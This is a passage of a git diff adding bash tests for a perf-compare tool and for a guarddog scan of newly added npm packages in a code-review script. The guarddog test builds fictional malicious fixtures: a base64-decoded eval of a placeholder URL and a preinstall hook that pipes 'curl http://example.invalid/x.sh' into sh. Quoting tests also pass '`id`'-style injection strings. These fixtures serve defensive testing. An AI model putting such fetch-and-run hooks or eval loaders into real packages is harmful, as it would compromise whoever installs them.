run for the temporary checkout --- +git -C "$R" worktree add -q --detach "$T/stale" HEAD && mv "$T/stale" "$T/stale.gone" +reset; out="$(cd "$R" && pc --base HEAD -- true 2>"$T/err")"; rc=$? +[ $rc -eq 0 ] && [ "$(nwt)" = 2 ] && git -C "$R" worktree list | grep -q prunable; ok $? "a stale worktree entry of the caller (directory gone) is still listed prunable after a run (rc=$rc)" +git -C "$R" worktree prune +mkdir "$T/hooks"; printf '#!/bin/sh\ntouch "%s"\n' "$T/hook.ran" >"$T/hooks/post-checkout"; chmod +x "$T/hooks/post-checkout" +git -C "$R" config core.hooksPath "$T/hooks" +git -C "$R" worktree add -q --detach "$T/ctl" HEAD; [ -e "$T/hook.ran" ]; ok $? "control: the post-checkout hook fires on a plain worktree add" +git -C "$R" worktree remove --force "$T/ctl"; rm -f "$T/hook.ran" +reset; out="$(cd "$R" && pc --base HEAD -- true 2>"$T/err")"; rc=$? +[ $rc -eq 0 ] && [ ! -e "$T/hook.ran" ] && clean; ok $? "a core.hooksPath post-checkout hook never runs for the temporary checkout (rc=$rc)" +git -C "$R" config --unset core.hooksPath + +# --- argv and both cd paths reach the shell intact: POSIX single quotes, not printf %q ($'..' for control characters, which dash reads as a literal $) --- +# shellcheck disable=SC2016,SC1003 # literal $, backtick and backslash arguments, on purpose +args=('a b' "it's" 'say "hi"' '$HOME' '`id`' $'x\ty' $'l1\nl2' $'end\n' '' '*' '\') +want="$(printf '%s|' "${args[@]}")" +W=$'sp ace\'q"d$HOME`id`\ttab\nnl' +R4="$T/repo4"; git init -q -b main "$R4"; ( cd "$R4" && mkdir "$W" && echo w >"$W/w" && git add . && git commit -qm w ) +for hs in sh dash; do + if [ "$hs" = dash ]; then hs="$(command -v dash)" || { echo "SKIP: dash round trip (dash is not installed)"; continue; }; fi + reset; export HF_SH="$hs"; out="$(cd "$R" && pc --base HEAD -- printf '%s|' "${args[@]}" 2>"$T/err")"; rc=$? + [ $rc -eq 0 ] && [ "$(cat "$HF_RUNS")" = "$want$want" ]; ok $? "args with space ' \" \$ backtick tab newline round-trip via $hs (rc=$rc: $(cat "$HF_RUNS"))" + reset; export HF_SH="$hs"; out="$(cd "$R4/$W" && pc --base HEAD -- pwd 2>"$T/err")"; rc=$? + case "$(cat "$HF_RUNS")" in *"/base/$W"$'\n'"$R4/$W") a=0 ;; *) a=1 ;; esac; [ $rc -eq 0 ] && [ $a -eq 0 ]; ok $? "cd paths with space ' \" \$ backtick tab newline round-trip via $hs (rc=$rc: $(cat "$HF_RUNS"))" +done +[ "$(nwt "$R4")" = 1 ] && [ -z "$(ls -A "$T/tmpd")" ]; ok $? "quoting runs: worktree and temp dir removed" + +# --- one real hyperfine run: 0.01 s vs 0.3 s of sleep reads slower; skipped visibly when hyperfine is not installed --- +hf="$(command -v hyperfine 2>/dev/null)" +if [ -n "$hf" ]; then + R3="$T/repo3"; git init -q -b main "$R3"; ( cd "$R3" && echo 0.01 >d.txt && git add d.txt && git commit -qm base ); echo 0.3 >"$R3/d.txt" + # shellcheck disable=SC2016 # $(cat d.txt) expands in the child shell, on purpose + out="$(cd "$R3" && P="$(dirname "$hf"):$T/gitbin:/usr/bin:/bin" pc --runs 3 --base HEAD --json "$T/real.json" -- 'sleep $(cat d.txt)' 2>"$T/err")"; rc=$? + case "$out" in "perf_compare: base "*"| slower (ranges do not overlap) | json=$T/real.json") a=0 ;; *) a=1 ;; esac + [ $rc -eq 0 ] && [ $a -eq 0 ]; ok $? "real hyperfine: slower verdict ($out; $(cat "$T/err"))" + python3 -I -c 'import json,sys; d=json.load(open(sys.argv[1])); assert d["schema_version"]==2 and [r["name"] for r in d["results"]]==["base","current"], d' "$T/real.json"; ok $? "real hyperfine export: schema 2, base then current" + [ "$(nwt "$R3")" = 1 ] && [ -z "$(ls -A "$T/tmpd")" ]; ok $? "real run: worktree and temp dir removed" +else + echo "SKIP: real hyperfine run (hyperfine is not installed)" +fi + +if [ $fails -eq 0 ]; then echo "perf_compare: $n/$n"; else echo "perf_compare: $((n-fails))/$n"; exit 1; fi diff --git a/scripts/test-review-checks-guarddog.sh b/scripts/test-review-checks-guarddog.sh new file mode 100644 index 000000000..702666786 --- /dev/null +++ b/scripts/test-review-checks-guarddog.sh @@ -0,0 +1,238 @@ +#!/usr/bin/env bash +# review_checks.sh guarddog step: an npm package a changed package-lock.json newly adds (name@version absent from the merge-base lock) that is installed under node_modules AT THE LOCKED +# VERSION is scanned with `guarddog npm scan DIR`: hasInstallScript packages first, a cap of 25 and a total time budget (what they leave out is named in a not-checked row), never `verify`, never a +# registry fetch (guarddog reads a non-directory argument as a registry package name), stub top-package caches keep guarddog offline (plus a dead proxy once --no-sandbox drops its own network block), +# guarddog 3.x only, one [heuristic] lead per threat-* rule (capability-* stays quiet), a rule error keeps the other hits, control characters never drop a row, code and match snippets never reach +# the output, and a newly added lock entry with hasInstallScript is a lead of its own. +# Shim cases: found, clean, crash, bad JSON, no threat rule, rule errors, wrong version, nested sandbox, --full, missing, cap, time budget, removal-only lock, nothing installed, stale install, no lock +# at base, v1 lock, moved base, control characters, hasInstallScript leads. +# Real-binary section (host-only: CI has no guarddog install, so it is skipped there): a fictional flagged package and a clean one, root and nested install hooks, and a control proving the no-egress check can fail. +set -euo pipefail +export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null # hermetic git: no host config (signing, hooks, default branch) +unset HTTP_PROXY HTTPS_PROXY ALL_PROXY NO_PROXY http_proxy https_proxy all_proxy no_proxy # the PX log below must show only a proxy that review_checks.sh sets +ROOT=$(cd "$(dirname "$0")/.." && pwd) +RC=${REVIEW_CHECKS:-$ROOT/.claude/skills/deep-code-review/scripts/review_checks.sh} +H=$ROOT/.claude/skills/deep-code-review/references/tool-hub.md +T=$(mktemp -d "${TMPDIR:-/tmp}/gdt.XXXXXX") && [ -n "$T" ] && [ -d "$T" ] || { echo "no temp dir" >&2; exit 1; } +trap 'cd /; rm -r -- "$T"' EXIT; fail=0 +ok() { echo "ok - $1"; }; bad() { echo "FAIL - $1"; fail=1; } +export PERUN_HEAVY_DIR="$T/heavy" DCR_CACHE_ROOT="$T/nocache" DCR_USER_BIN='' GD_LOG="$T/gd.log" # DCR_USER_BIN empty: a guarddog in ~/.local/bin cannot answer a "missing" case +unset GUARDDOG_TOP_PACKAGES_CACHE_LOCATION +mkdir -p "$T/sys" "$T/base" "$T/gd" "$T/outside" +# Hermetic PATH: shim dir, inert stubs for the older scanners and $T/sys (symlinks to only the system binaries review_checks.sh needs), never the host PATH. +for b in bash env git grep sed head tail cat rm mkdir mktemp dirname basename python3 perl timeout gtimeout jq true sort uniq paste tr cut wc awk date cp mv ls find touch tee readlink sleep; do + p=$(type -P "$b") || continue; ln -s "$p" "$T/sys/$b" +done +printf '#!/bin/sh\necho %s\n' "'{\"results\":[],\"errors\":[]}'" >"$T/base/semgrep" +printf '#!/bin/sh\necho %s\n' "'{\"Results\":[]}'" >"$T/base/trivy" +printf '#!/bin/sh\nexit 0\n' >"$T/base/gitleaks" +# Fake guarddog: answers --version (GD_VERSION, GD_VER_RC; logs nothing), otherwise logs argv, target and proxy, checks the offline cache variable and prints canned JSON +# (GD_MODE: crash|bad|nothreat|errors|nested; GD_SLEEP seconds per scan). CANARY-* stand for source snippets. The nested sandbox failure is guarddog's real stderr (capital S). +cat >"$T/gd/guarddog" <<'S' +#!/usr/bin/env bash +[ "${1:-}" != --version ] || { echo "${GD_VERSION:-3.2.0}"; exit "${GD_VER_RC:-0}"; } +echo "ARGS $*" >>"$GD_LOG"; for last; do :; done; echo "LAST $last" >>"$GD_LOG"; echo "PX ${HTTPS_PROXY:-none}" >>"$GD_LOG" +[ -d "$last" ] || echo "NODIR $last" >>"$GD_LOG" +python3 -I -c 'import json,sys,time +d=sys.argv[1]; assert d +for k in ("npm","pypi","rubygems","go"): + j=json.load(open(d+"/top_"+k+"_packages.json")); assert time.time()-j["downloaded_timestamp"]<3600 and j["packages"]' "${GUARDDOG_TOP_PACKAGES_CACHE_LOCATION:-}" 2>/dev/null && echo "CACHE ok" >>"$GD_LOG" || echo "CACHE bad" >>"$GD_LOG" +[ -z "${GD_SLEEP:-}" ] || sleep "$GD_SLEEP" +case "${GD_MODE:-}" in + crash) exit 9 ;; + bad) echo '{"unexpected":1}'; exit 0 ;; + nothreat) echo '{"package":"p","results":{"capability-x":{}},"errors":{},"issues":0}'; exit 0 ;; + errors) echo '{"package":"p","results":{"threat-x":{},"threat-y":[{"location":"a.js:1","code":"CANARY-CODE-5","match":"CANARY-MATCH-5","message":"Spawns a shell"}]},"errors":{"threat-x":"failed to run rule: boom"},"issues":1}'; exit 0 ;; + nested) case " $* " in *" --no-sandbox "*) echo "WARNING: Scanning without kernel-level sandbox protection." >&2 ;; *) echo "ERROR: Error occurred while scanning target $last: 'Sandbox initialization failed: Operation not permitted'" >&2; exit 1 ;; esac ;; +esac +case "$last" in + *acme-flagged) echo '{"package":"acme-flagged","results":{"capability-process-spawn":[{"location":"index.js:3","code":"CANARY-CODE-1","match":"CANARY-MATCH-1","message":"Spawns a process"}],"threat-runtime-obfuscation-base64exec":[{"location":"index.js:2","code":"CANARY-CODE-2","match":"CANARY-MATCH-2","message":"Decodes a base64 string and executes it"},{"location":"lib/b.js:7","code":"CANARY-CODE-3","match":"CANARY-MATCH-3","message":"Decodes a base64 string and executes it"}],"threat-network-exfiltration":[{"location":"x/y.js:1","code":"CANARY-CODE-4","match":"CANARY-MATCH-4","message":"Sends local data to a remote host"}],"threat-npm-preinstall-script":{}},"errors":{},"issues":4,"risk_score":{"score":7.3,"label":"high_risk"},"risks":[]}' ;; + *acme-cr) echo '{"package":"acme-cr","results":{"threat-x":[{"location":"lib/ev\rl.js:4","code":"CANARY-CODE-6","match":"CANARY-MATCH-6","message":"Bad\rthing"}]},"errors":{},"issues":1}' ;; + *) echo '{"package":"p","results":{"capability-process-spawn":{},"threat-network-exfiltration":{}},"errors":{},"issues":0,"risk_score":{},"risks":[]}' ;; +esac +S +chmod +x "$T/base/semgrep" "$T/base/trivy" "$T/base/gitleaks" "$T/gd/guarddog" +G() { git -c user.email=t@example.com -c user.name=t "$@"; } +newrepo() { # newrepo NAME: a fresh repo $T/NAME (refuses one outside $T); node_modules stays untracked + mkdir -p "$T/$1" && cd "$T/$1" && git init -q . && case "$(git rev-parse --show-toplevel)" in "$(cd "$T" && pwd -P)"/*) ;; *) echo "refusing: repo not under temp dir" >&2; exit 1 ;; esac + echo 'node_modules/' >.gitignore +} +lock() { # lock FILE KEY=VERSION...: a lockfileVersion 3 package-lock.json; VERSION link = a workspace link entry, none = an entry with no version, a trailing +s sets hasInstallScript + python3 -I - "$@" <<'PY' +import json, sys +pk = {"": {"name": "app", "version": "1.0.0"}} +for e in sys.argv[2:]: + k, v = e.split("=") + if v == "link": pk[k] = {"resolved": "packages/ws", "link": True} + elif v == "none": pk[k] = {"resolved": "https://example.invalid/x.tgz"} + else: + pk[k] = {"version": v.replace("+s", "")} + if v.endswith("+s"): pk[k]["hasInstallScript"] = True +json.dump({"name": "app", "lockfileVersion": 3, "packages": pk}, open(sys.argv[1], "w")) +PY +} +pkgdir() { mkdir -p "$1"; echo 'module.exports = 1;' >"$1/index.js"; printf '{"name":"x","version":"%s"}\n' "$2" >"$1/package.json"; } # an installed package at version $2 +commit() { G add -A && G commit -q -m "$1"; } +GP="$T/gd:$T/base:$T/sys" +run() { : >"$GD_LOG"; PATH="$GP" bash "$RC" --base base "$@" 2>"$T/err" >"$T/out"; } +jqa() { jq -e "$1" "$T/out" >/dev/null; } +nlog() { grep -c "$1" "$GD_LOG" || true; } +FIND='[.[]|select(.tool=="guarddog" and .rule!="not-checked")]' +NC='any(.[]; .tool=="guarddog" and .rule=="not-checked")' + +# A: lock under app/. New: bumped (1.0.0 -> 1.1.0), acme-flagged, acme-clean, @acme/scoped, a nested dep, acme-absent (not installed), acme-escape (symlink out of the repo). +newrepo a && mkdir -p app && lock app/package-lock.json node_modules/old-pkg=1.0.0 node_modules/bumped=1.0.0 node_modules/gone=1.0.0 && commit base && git branch base +lock app/package-lock.json node_modules/old-pkg=1.0.0 node_modules/bumped=1.1.0 node_modules/acme-flagged=1.0.0 node_modules/acme-clean=1.0.0 node_modules/@acme/scoped=2.0.0 \ + node_modules/acme-clean/node_modules/deep=3.0.0 node_modules/acme-absent=1.0.0 node_modules/acme-escape=1.0.0 node_modules/ws-link=link packages/ws=1.0.0 +for p in old-pkg:1.0.0 bumped:1.1.0 acme-flagged:1.0.0 acme-clean:1.0.0 @acme/scoped:2.0.0 acme-clean/node_modules/deep:3.0.0; do pkgdir "app/node_modules/${p%:*}" "${p##*:}"; done +pkgdir "$T/outside" 1.0.0; ln -s "$T/outside" app/node_modules/acme-escape; commit head # acme-escape has the locked version, so only the repo-boundary test can stop it +R=$(pwd -P); run +[ "$(nlog '^LAST ')" = 5 ] && ok "A: the 5 new installed packages are scanned" || bad "A: 5 scanned (got $(nlog '^LAST '))" +for p in bumped acme-flagged acme-clean @acme/scoped acme-clean/node_modules/deep; do grep -qxF "LAST $R/app/node_modules/$p" "$GD_LOG" && ok "A: scans $p by absolute path" || bad "A: scans $p"; done +for p in old-pkg acme-absent acme-escape gone ws-link; do ! grep -q "node_modules/$p\$" "$GD_LOG" && ok "A: does not scan $p" || bad "A: scanned $p"; done +[ "$(nlog '^ARGS npm scan --output-format json /')" = 5 ] && ! grep -qE ' verify|NODIR' "$GD_LOG" && ok "A: npm scan on existing dirs only, never verify" || bad "A: argv shape" +[ "$(nlog '^CACHE ok')" = 5 ] && [ "$(nlog '^PX none$')" = 5 ] && ok "A: every call carries fresh stub top-package caches (no startup refresh) and no proxy of its own" || bad "A: stub caches" +jqa "any(.[]; .tool==\"guarddog\" and .rule==\"threat-runtime-obfuscation-base64exec\" and .file==\"app/node_modules/acme-flagged/index.js\" and .line==2 and (.message|startswith(\"acme-flagged@1.0.0: 2 hit(s)\")))" && ok "A: one lead per rule with the first location, hit count and package@version" || bad "A: base64exec lead" +jqa 'any(.[]; .tool=="guarddog" and .rule=="threat-network-exfiltration" and .file=="app/node_modules/acme-flagged/x/y.js" and .line==1)' && ok "A: second rule is its own lead" || bad "A: exfiltration lead" +jqa "$FIND|length==2" && ok "A: capability-* and empty threat-* rules give no lead (2 leads in all)" || bad "A: lead count" +jqa "$FIND|all(.message|endswith(\" [heuristic]\"))" && ok "A: every lead is tagged [heuristic]" || bad "A: heuristic tag" +! grep -q CANARY "$T/out" "$T/err" && ok "A: code and match snippets never reach the output" || bad "A: snippet leaked" +grep -q 'analyzers ran:.*guarddog(scanned-5-of-7)' "$T/err" && grep -q 'partial:.*guarddog(scanned-5-of-7)' "$T/err" && jqa "$NC and any(.[]; .tool==\"guarddog\" and (.message|contains(\"scanned 5 of 7\")) and (.message|contains(\"2 not installed at the locked version\")))" && ok "A: partial scope is named, never a clean 'ran'" || bad "A: partial scope" +grep '^review_checks: ran ' "$T/err" | grep -qvE 'not run: [^;]*guarddog' && ok "A: the summary line does not list guarddog as not run" || bad "A: summary line" +GD_MODE=crash run +grep -q 'not run: guarddog (exit 9)' "$T/err" && ! grep -qE 'analyzers ran:.*guarddog' "$T/err" && jqa "$NC" && jqa "$FIND|length==0" && ok "A: crash is not-run, not clean" || bad "A: crash" +for m in bad nothreat; do + GD_MODE=$m run + grep -q 'not run: guarddog (unparseable output' "$T/err" && ! grep -qE 'analyzers ran:.*guarddog' "$T/err" && jqa "$NC" && jqa "$FIND|length==0" && ok "A: $m output is not-run, not clean" || bad "A: $m output" +done +GD_MODE=errors run # one rule errors on every package: its hits are missing, the other rule's hits stay +jqa "$FIND|length==5 and all(.rule==\"threat-y\")" && jqa 'any(.[]; .tool=="guarddog" and .rule=="not-checked" and (.message|startswith("acme-flagged@1.0.0: rule threat-x did not run (failed to run rule: boom)")))' \ + && jqa 'any(.[]; .tool=="guarddog" and .rule=="not-checked" and (.message|contains("5 scanned with a rule that did not run")))' && grep -q 'partial:.*guarddog(scanned-0-of-7)' "$T/err" && ! grep -q CANARY "$T/out" \ + && ok "A: a rule error keeps the other hits and names the failed rule as not-checked, per package" || bad "A: rule error" +GD_MODE=nested run +[ "$(nlog '^ARGS')" = 6 ] && [ "$(nlog '^ARGS .*--no-sandbox')" = 5 ] && grep -q 'kernel sandbox unavailable' "$T/err" && jqa "$FIND|length==2" && ok "A: a nested sandbox failure (guarddog's real, capitalised stderr) retries once with --no-sandbox, then keeps the flag" || bad "A: nested sandbox ($(nlog '^ARGS') calls)" +[ "$(nlog '^PX http://127.0.0.1:9$')" = 5 ] && [ "$(nlog '^PX none$')" = 1 ] && ok "A: the --no-sandbox retries run behind a dead proxy, the sandboxed call does not" || bad "A: dead proxy on the retry" +run --full +grep -q 'not run: guarddog (SKIPPED: --full' "$T/err" && [ ! -s "$GD_LOG" ] && jqa "$NC" && ok "A: --full has no base: one SKIPPED line, nothing scanned" || bad "A: --full" +GP="$T/base:$T/sys" run +grep -q 'not run: guarddog (not installed)' "$T/err" && grep -q 'missing tools:.*guarddog (install: pipx install guarddog)' "$T/err" && jqa "$NC" && ok "A: missing guarddog is named with its install hint" || bad "A: missing" +GP="$T/gd:$T/base:$T/sys" + +# B: 30 new installed packages: the first 25 are scanned, the other 5 are named. +newrepo b && lock package-lock.json && commit base && git branch base +a=(); for i in $(seq -w 1 30); do a+=("node_modules/pk$i=1.0.0"); pkgdir "node_modules/pk$i" 1.0.0; done; lock package-lock.json "${a[@]}"; commit head; run +[ "$(nlog '^LAST ')" = 25 ] && grep -q 'LAST .*pk25$' "$GD_LOG" && ! grep -q 'pk26$' "$GD_LOG" && grep -q 'analyzers ran:.*guarddog(scanned-25-of-30)' "$T/err" && ok "B: cap 25 of 30, named as partial" || bad "B: cap ($(nlog '^LAST ') scanned)" +jqa 'any(.[]; .tool=="guarddog" and .rule=="not-checked" and (.message|contains("over the cap of 25")) and (.message|contains("not scanned: pk26@1.0.0, pk27@1.0.0, pk28@1.0.0, pk29@1.0.0, pk30@1.0.0")))' && ok "B: the packages over the cap are named in a not-checked row" || bad "B: cap names" + +# C: a lock change that only removes a package adds nothing: silent. +newrepo c && lock package-lock.json node_modules/a=1.0.0 node_modules/b=1.0.0 && commit base && git branch base +lock package-lock.json node_modules/a=1.0.0; pkgdir node_modules/a 1.0.0; commit head; run +! grep -qi guarddog "$T/err" && [ ! -s "$GD_LOG" ] && jqa 'any(.[]; .tool=="guarddog")|not' && ok "C: removal-only lock change is silent" || bad "C: removal only" + +# D: new packages, none installed: one SKIPPED line. +newrepo d && lock package-lock.json && commit base && git branch base +lock package-lock.json node_modules/acme-absent=1.0.0; commit head; run +[ "$(grep -c '^review_checks: not run: guarddog' "$T/err")" = 1 ] && grep -q 'not run: guarddog (SKIPPED: none of 1 newly added packages' "$T/err" && grep -q 'NOT RUN:.*guarddog (SKIPPED' "$T/err" && [ ! -s "$GD_LOG" ] && jqa "$NC" && ok "D: nothing installed: one SKIPPED line, no scan" || bad "D: nothing installed" + +# E: no lock at the base: every package is new; all scanned, so plain "ran" with no partial token. +newrepo e && commit base && git branch base +lock package-lock.json node_modules/p1=1.0.0 node_modules/p2=2.0.0; pkgdir node_modules/p1 1.0.0; pkgdir node_modules/p2 2.0.0; commit head; run +[ "$(nlog '^LAST ')" = 2 ] && grep -q 'analyzers ran:.*guarddog' "$T/err" && ! grep -q 'guarddog(' "$T/err" && ok "E: no base lock: both scanned, full coverage" || bad "E: no base lock" + +# F: a v1 lock has no packages map: one SKIPPED line. +newrepo f && lock package-lock.json && commit base && git branch base +echo '{"lockfileVersion":1,"dependencies":{"x":{"version":"1.0.0"}}}' >package-lock.json; commit head; run +grep -q 'not run: guarddog (SKIPPED: package-lock.json has no packages map' "$T/err" && [ ! -s "$GD_LOG" ] && ok "F: lockfileVersion 1 is a SKIPPED line, not a clean" || bad "F: v1 lock" + +# G: the base branch moved on (foo bumped there): only this branch's own new package is new, because the lock is read at the merge-base. +newrepo g && lock package-lock.json node_modules/foo=1.0.0 && commit base && git branch base && G checkout -q -b feature +G checkout -q base && lock package-lock.json node_modules/foo=1.1.0 && commit "base moves on" && G checkout -q feature +lock package-lock.json node_modules/foo=1.0.0 node_modules/newpkg=1.0.0; pkgdir node_modules/foo 1.0.0; pkgdir node_modules/newpkg 1.0.0; commit head; run +[ "$(nlog '^LAST ')" = 1 ] && grep -q 'LAST .*node_modules/newpkg$' "$GD_LOG" && ok "G: lock compared with the merge-base, not the moved base tip" || bad "G: merge-base ($(nlog '^LAST ') scanned)" + +# H: a lock-only bump leaves the old code on disk; scanning it would read as clean, so only a copy at the locked version is scanned. +newrepo h && lock package-lock.json node_modules/stale=1.0.0 && commit base && git branch base +lock package-lock.json node_modules/stale=1.1.0; pkgdir node_modules/stale 1.0.0; commit head; run +[ ! -s "$GD_LOG" ] && grep -q 'not run: guarddog (SKIPPED: none of 1 newly added packages is installed under node_modules at its locked version' "$T/err" && jqa "$NC" && ok "H: a lock-only bump (old version on disk) is not scanned and not read as clean" || bad "H: stale install" +lock package-lock.json node_modules/stale=1.1.0 node_modules/fresh=1.0.0; pkgdir node_modules/fresh 1.0.0; commit head2; run +[ "$(nlog '^LAST ')" = 1 ] && grep -q 'LAST .*node_modules/fresh$' "$GD_LOG" && grep -q 'guarddog(scanned-1-of-2)' "$T/err" && jqa 'any(.[]; .tool=="guarddog" and .rule=="not-checked" and (.message|contains("scanned 1 of 2")) and (.message|contains("1 not installed at the locked version")))' && ok "H: beside a current copy, the stale one is counted as not checked" || bad "H: stale beside fresh" +pkgdir node_modules/stale 1.1.0; run +[ "$(nlog '^LAST ')" = 2 ] && grep -q 'analyzers ran:.*guarddog' "$T/err" && ! grep -q 'guarddog(' "$T/err" && ok "H: once the locked version is installed, both are scanned" || bad "H: upgraded copy" + +# I: only guarddog 3.x scans: any other --version answer is a named not-checked row and nothing is scanned (a hasInstallScript lead stands regardless). +newrepo i && lock package-lock.json && commit base && git branch base +lock package-lock.json node_modules/p1=1.0.0+s; pkgdir node_modules/p1 1.0.0; commit head +for v in 2.9.0 13.2.0 'not a version'; do + GD_VERSION=$v run + grep -q 'not run: guarddog (SKIPPED: needs guarddog 3.x' "$T/err" && [ ! -s "$GD_LOG" ] && jqa "$NC" && jqa "$FIND|length==0" && jqa 'any(.[]; .tool=="package-lock")' && ! grep -qE 'analyzers ran:.*guarddog' "$T/err" && ok "I: --version '$v' is not-checked, nothing scanned" || bad "I: version $v" +done +GD_VER_RC=1 run +grep -q 'not run: guarddog (SKIPPED: needs guarddog 3.x' "$T/err" && [ ! -s "$GD_LOG" ] && ok "I: a failing --version is not-checked" || bad "I: failing --version" +run +[ "$(nlog '^LAST ')" = 1 ] && grep -q 'analyzers ran:.*guarddog' "$T/err" && ok "I: guarddog 3.2.0 scans" || bad "I: 3.2.0" + +# J: control characters never drop a row (a \r splits it and the closing summary drops the pieces silently): they become "?", and an entry that cannot be scanned is named. +newrepo j && lock package-lock.json && commit base && git branch base +printf -v crk 'node_modules/ev\ril'; lock package-lock.json "$crk=1.0.0" node_modules/acme-cr=1.0.0 node_modules/nov=none +pkgdir "$crk" 1.0.0; pkgdir node_modules/acme-cr 1.0.0; commit head; run +[ "$(nlog '^LAST ')" = 1 ] && grep -q 'LAST .*acme-cr$' "$GD_LOG" && ok "J: a key with a control character is never passed to guarddog" || bad "J: unsafe key scanned" +jqa "$FIND|length==1 and any(.[]; .rule==\"threat-x\" and .file==\"node_modules/acme-cr/lib/ev?l.js\" and .line==4 and (.message|startswith(\"acme-cr@1.0.0: 1 hit(s): Bad?thing\")))" && ok "J: a hit in a file named with a \\r keeps its row, the \\r shown as ?" || bad "J: control character in a hit" +jqa 'any(.[]; .rule=="not-checked" and (.message|startswith("ev?il@1.0.0: ")) and (.message|contains("not scanned")))' && jqa 'any(.[]; .rule=="not-checked" and (.message|startswith("nov@?: ")))' && ok "J: an unreadable lock entry and a version-less one are named, never dropped" || bad "J: named unreadable entries" +jqa 'any(.[]; .rule=="not-checked" and (.message|contains("scanned 1 of 3 newly added packages in full")))' && ok "J: coverage counts the unreadable entries" || bad "J: coverage" + +# K: hasInstallScript packages are scanned first (so the cap and the time budget never leave them out), and the time budget names what it leaves out. +newrepo k && lock package-lock.json && commit base && git branch base +lock package-lock.json node_modules/k1=1.0.0 node_modules/k2=1.0.0 node_modules/k3=1.0.0 node_modules/k4=1.0.0+s; for i in 1 2 3 4; do pkgdir "node_modules/k$i" 1.0.0; done; commit head +R=$(pwd -P); run +[ "$(nlog '^LAST ')" = 4 ] && [ "$(grep '^LAST ' "$GD_LOG" | head -n1)" = "LAST $R/node_modules/k4" ] && ok "K: the hasInstallScript package is scanned first" || bad "K: order" +GD_SLEEP=2 REVIEW_GUARDDOG_BUDGET=2 run +[ "$(nlog '^LAST ')" = 1 ] && grep -q 'LAST .*node_modules/k4$' "$GD_LOG" && grep -q 'guarddog(scanned-1-of-4)' "$T/err" && jqa 'any(.[]; .tool=="guarddog" and .rule=="not-checked" and (.message|contains("over the cap of 25 or the 2s time budget, not scanned: k1@1.0.0, k2@1.0.0, k3@1.0.0")))' && ok "K: over the time budget only the hasInstallScript package is scanned and the rest are named" || bad "K: time budget ($(nlog '^LAST ') scanned)" +REVIEW_GUARDDOG_BUDGET=soon run +[ "$(nlog '^LAST ')" = 4 ] && ok "K: a non-numeric budget falls back to the default" || bad "K: bad budget" + +# M: a newly added lock entry with hasInstallScript is a lead of its own (guarddog's install-hook rules never read a package's own root package.json), with or without guarddog, installed or not. +newrepo m && lock package-lock.json node_modules/inst-old=1.0.0+s node_modules/inst-bump=1.0.0+s && commit base && git branch base +lock package-lock.json node_modules/inst-old=1.0.0+s node_modules/inst-bump=2.0.0+s node_modules/inst-new=1.0.0+s node_modules/plain=1.0.0; commit head +LEADS='[.[]|select(.tool=="package-lock")]' +for gp in "$T/gd:$T/base:$T/sys" "$T/base:$T/sys"; do + GP=$gp run + jqa "$LEADS|length==2 and all(.rule==\"has-install-script\" and .file==\"package-lock.json\" and .line==0 and (.message|contains(\"hasInstallScript\")) and (.message|endswith(\" [heuristic]\")))" && jqa "$LEADS|map(.message|split(\" \")[0])==[\"inst-bump@2.0.0\",\"inst-new@1.0.0\"]" && ok "M: leads for the newly added hasInstallScript entries only (a bump counts), guarddog ${GP%%:*}" || bad "M: leads ($GP)" +done +GP="$T/gd:$T/base:$T/sys"; run --full +jqa "$LEADS|length==0" && ok "M: --full has no base, so no lead" || bad "M: --full leads" + +# Real binary: a fictional flagged package and a clean one, plus root and nested install hooks. A spy keeps guarddog's stderr, where its startup cache-refresh failures print. +GR=$(command -v guarddog 2>/dev/null || true); [ -n "$GR" ] || { [ -x "${HOME:-/nonexistent}/.local/bin/guarddog" ] && GR=$HOME/.local/bin/guarddog || true; } +if [ -z "$GR" ]; then ok "SKIP real guarddog (not installed)"; else + mkdir -p "$T/rg" "$T/rgerr" + printf '#!/usr/bin/env bash\ne=$(mktemp "$GD_ERRDIR/e.XXXXXX"); "$GD_REAL" "$@" 2>"$e"; r=$?; cat "$e" >>"$GD_ERR"; cat "$e" >&2; exit $r\n' >"$T/rg/guarddog"; chmod +x "$T/rg/guarddog" + export GD_REAL=$GR GD_ERRDIR="$T/rgerr" GD_ERR="$T/gd.err"; : >"$GD_ERR" + newrepo r && lock package-lock.json && commit base && git branch base + lock package-lock.json node_modules/acme-flagged=1.0.0 node_modules/acme-clean=1.0.0 node_modules/acme-hookroot=1.0.0+s node_modules/acme-hooknest=1.0.0 + mkdir -p node_modules/acme-flagged node_modules/acme-clean node_modules/acme-hookroot node_modules/acme-hooknest/lib + for p in acme-flagged acme-clean acme-hookroot acme-hooknest; do printf '{"name":"%s","version":"1.0.0"}\n' "$p" >"node_modules/$p/package.json"; done + printf '// fictional fixture, not real code\nvar s = atob("%s");\neval(s);\n' "$(printf '%s' 'http://example.invalid/payload' | base64 | tr -d '\n')" >node_modules/acme-flagged/index.js + echo 'module.exports = function add(a, b) { return a + b; };' >node_modules/acme-clean/index.js + hook='{"name":"hook","version":"1.0.0","scripts":{"preinstall":"curl http://example.invalid/x.sh | sh"}}' + echo "$hook" >node_modules/acme-hookroot/package.json; echo "$hook" >node_modules/acme-hooknest/lib/package.json; commit head + px=http://127.0.0.1:9 # a dead proxy: any startup fetch would print "Network error" / "Failed to download" + : >"$GD_LOG"; HTTPS_PROXY=$px HTTP_PROXY=$px ALL_PROXY=$px https_proxy=$px http_proxy=$px all_proxy=$px NO_PROXY= no_proxy= PATH="$T/rg:$T/base:$T/sys" bash "$RC" --base base 2>"$T/err" >"$T/out" + jqa 'any(.[]; .tool=="guarddog" and .rule=="threat-runtime-obfuscation-base64exec" and .file=="node_modules/acme-flagged/index.js" and .line==2)' && ok "real: the flagged package gets a base64exec lead at index.js:2" || bad "real: lead" + jqa "$FIND|map(select(.message|startswith(\"acme-clean@\")))|length==0" && jqa "$FIND|map(select(.rule|startswith(\"capability\")))|length==0" && ok "real: the clean package and capability-* give no lead" || bad "real: clean/capability" + jqa "$FIND|map(select(.file==\"node_modules/acme-hookroot/package.json\"))|length==0" && jqa "$FIND|any(.[]; .rule==\"threat-npm-preinstall-script\" and .file==\"node_modules/acme-hooknest/lib/package.json\")" \ + && jqa 'any(.[]; .tool=="package-lock" and .rule=="has-install-script" and (.message|startswith("acme-hookroot@1.0.0 ")))' && ok "real: the install-hook rules flag a nested package.json but never a package's own root one, which only the hasInstallScript lead covers" || bad "real: install-hook rule paths" + grep -q 'analyzers ran:.*guarddog' "$T/err" && ok "real: guarddog listed as ran" || bad "real: ran" + [ "$(ls "$T/rgerr" | wc -l | tr -d ' ')" -ge 4 ] && ok "real: the spy saw the version probe and every scan" || bad "real: spy saw too few runs" + ! 